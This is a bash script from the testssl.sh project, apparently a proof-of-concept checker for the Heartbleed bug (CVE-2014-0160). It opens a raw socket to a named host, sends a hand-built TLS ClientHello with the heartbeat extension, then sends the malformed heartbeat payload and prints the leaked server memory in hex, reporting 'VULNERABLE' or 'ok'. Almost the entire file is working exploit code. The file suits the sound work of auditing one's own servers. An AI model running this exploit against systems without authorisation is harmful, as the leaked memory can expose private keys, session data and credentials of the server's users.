testssl.sh/utils/heartbleed.bash

#!/bin/bash 

# POC bash socket implementation of heartbleed (CVE-2014-0160), see also http://heartbleed.com/
# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt 
#
# sockets inspired by http://blog.chris007.de/?p=238
# heartbleed mainly adapted from https://gist.github.com/takeshixx/10107280
#
###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######

readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'

[ -z "$1" ] && exit 1

NODE="$1"
PORT="443"
SLEEP=2
MAXSLEEP=10
SOCKREPLY=""
COL_WIDTH=32

# TLS 1.0=x01  1.1=0x02, 1.2=0x3
TLSV=${2:-01}

heartbleed_payload="\x18\x03\x$TLSV\x00\x03\x01\x40\x00"
##                                              ^^^^^^^ this is the whole thing!

client_hello="
# TLS header (5 bytes)
,x16,               # Content type (x16 for handshake)
x03, x$TLSV,        # TLS Version
x00, xdc,           # Length
# Handshake header
x01,                # Type (x01 for ClientHello)
x00, x00, xd8,      # Length
x03, x$TLSV,        # TLS Version
# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
x53, x43, x5b, x90, x9d, x9b, x72, x0b,
xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
xcf, xbd, x39, x04, xcc, x16, x0a, x85,
x03, x90, x9f, x77, x04, x33, xd4, xde,
x00,                # Session ID length
x00, x66,           # Cipher suites length
# Cipher suites (51 suites)
xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
x00, x39, x00, x38, x00, x88, x00, x87,
xc0, x0f, xc0, x05, x00, x35, x00, x84,
xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
x00, x16, x00, x13, xc0, x0d, xc0, x03,
x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
xc0, x1e, x00, x33, x00, x32, x00, x9a,
x00, x99, x00, x45, x00, x44, xc0, x0e,
xc0, x04, x00, x2f, x00, x96, x00, x41,
xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
x00, x05, x00, x04, x00, x15, x00, x12,
x00, x09, x00, x14, x00, x11, x00, x08,
x00, x06, x00, x03, x00, xff,
x01,               # Compression methods length
x00,               # Compression method (x00 for NULL)
x00, x49,          # Extensions length
# Extension: ec_point_formats
x00, x0b, x00, x04, x03, x00, x01, x02,
# Extension: elliptic_curves
x00, x0a, x00, x34, x00, x32, x00, x0e,
x00, x0d, x00, x19, x00, x0b, x00, x0c,
x00, x18, x00, x09, x00, x0a, x00, x16,
x00, x17, x00, x08, x00, x06, x00, x07,
x00, x14, x00, x15, x00, x04, x00, x05,
x00, x12, x00, x13, x00, x01, x00, x02,
x00, x03, x00, x0f, x00, x10, x00, x11,
# Extension: SessionTicket TLS
x00, x23, x00, x00,
# Extension: Heartbeat
x00, x0f, x00, x01, x01
"
#msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n')


parse_hn_port() {
     # strip "https", supposed it was supplied additionally
     echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `

     # strip trailing urlpath
     NODE=`echo $NODE | sed -e 's/\/.*$//'`

     # determine port, supposed it was supplied additionally
     echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
     echo -e "\n===> connecting to $NODE:$PORT\n"
}

wait_kill(){
     pid=$1
     maxsleep=$2
     while true; do
          if ! ps $pid >/dev/null ; then
               return 0  # didn't reach maxsleep yet
          fi
          sleep 1
          maxsleep=$((maxsleep - 1))
          test $maxsleep -eq 0 && break
     done # needs to be killed:
     kill $pid >&2 2>/dev/null
     wait $pid 2>/dev/null
     return 3   # killed
}


socksend() {
     data=`echo $1`
     echo "\"$data\""
     echo -en "$data" >&5 &
     sleep $SLEEP
}


sockread() {
     [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2
     ret=0

     ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7
     dd bs=$1 of=$ddreply count=1 <&5 2>/dev/null &
     wait_kill $! $maxsleep
     ret=$?
     SOCKREPLY=$(cat $ddreply)
     rm $ddreply

     return $ret
}

# arg1: string to send
# arg2: success string, yet to be parsed
starttls_line0() {
     echo "$1" >&5
     cat <&5 &
     wait_kill $! $SLEEP
     #sleep $SLEEP
}

starttls_line1() {
     echo "$1" >&5
     while true; do
          read line <&5
          echo $line
          break
     done
}

fixme(){
     tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0
}


fd_socket(){
     if ! exec 5<> /dev/tcp/$NODE/$PORT; then
          echo "`basename $0`: unable to connect to $NODE:$PORT"
          exit 2
     fi

     case "$1" in # port
          21)  # https://tools.ietf.org/html/rfc4217
               starttls_line0 "FEAT"
               starttls_line0 "AUTH TLS"
               ;;
          25)  #https://tools.ietf.org/html/rfc4217
               starttls_line0 "EHLO testssl.sh" "250"
               starttls_line0 "STARTTLS" "220"
               ;;
          110) # https://tools.ietf.org/html/rfc2595
               starttls_line0 "STLS" "OK"
               ;;
          119|433) # https://tools.ietf.org/html/rfc4642
               starttls_line0 "CAPABILITIES" "101"
               starttls_line0 "STARTTLS" "382"
               ;;
          143) # https://tools.ietf.org/html/rfc2595 
               starttls_line0 "a001 CAPABILITY" "OK"
               starttls_line0 "a002 STARTTLS" "OK"
               ;;
          389) # https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511
               fixme "LDAP: FIXME not yet implemented"
               exit 1
               ;;
          674) # https://tools.ietf.org/html/rfc2595
               fixme "ACAP: FIXME not yet implemented"
               exit 1
               ;;
          5222) 
               starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed"
               fixme "XMPP: FIXME not yet implemented"
               ;;
          443|995|993|465|*)  # we don't need a special command here
               ;;
     esac
     echo
}

close_socket(){
     exec 5<&-
     exec 5>&-
     return 0
}


#### main

parse_hn_port "$1"
fd_socket $PORT

echo "##### sending standard client hello with TLS version 03,$TLSV:"
socksend "$msg" $TLSV

sockread 16384 
echo "##### reading server hello:"
echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -10
echo "[...]"
echo
if [ 1 -ge $(echo "$SOCKREPLY" | xxd | wc -l) ]; then
     tput bold; tput setaf 5; echo "TLS handshake failed"; tput sgr0
     exit 1
fi

echo "###### sending payload with TLS version 03,$TLSV:"
socksend $heartbleed_payload $TLSV

sockread 65534
echo "###### heartbleed reply: "
echo "============================="
echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -20
echo "============================="

if [ $(echo "$SOCKREPLY" | xxd | wc -l) -gt 1 ]; then
     tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
     ret=1
else
     tput bold; tput setaf 2; echo "ok"; tput sgr0
     ret=0
fi
echo

close_socket

exit $ret

#  vim:tw=100:ts=5:sw=5:expandtab
#  $Id: heartbleed.bash,v 1.11 2015/07/01 10:56:57 dirkw Exp $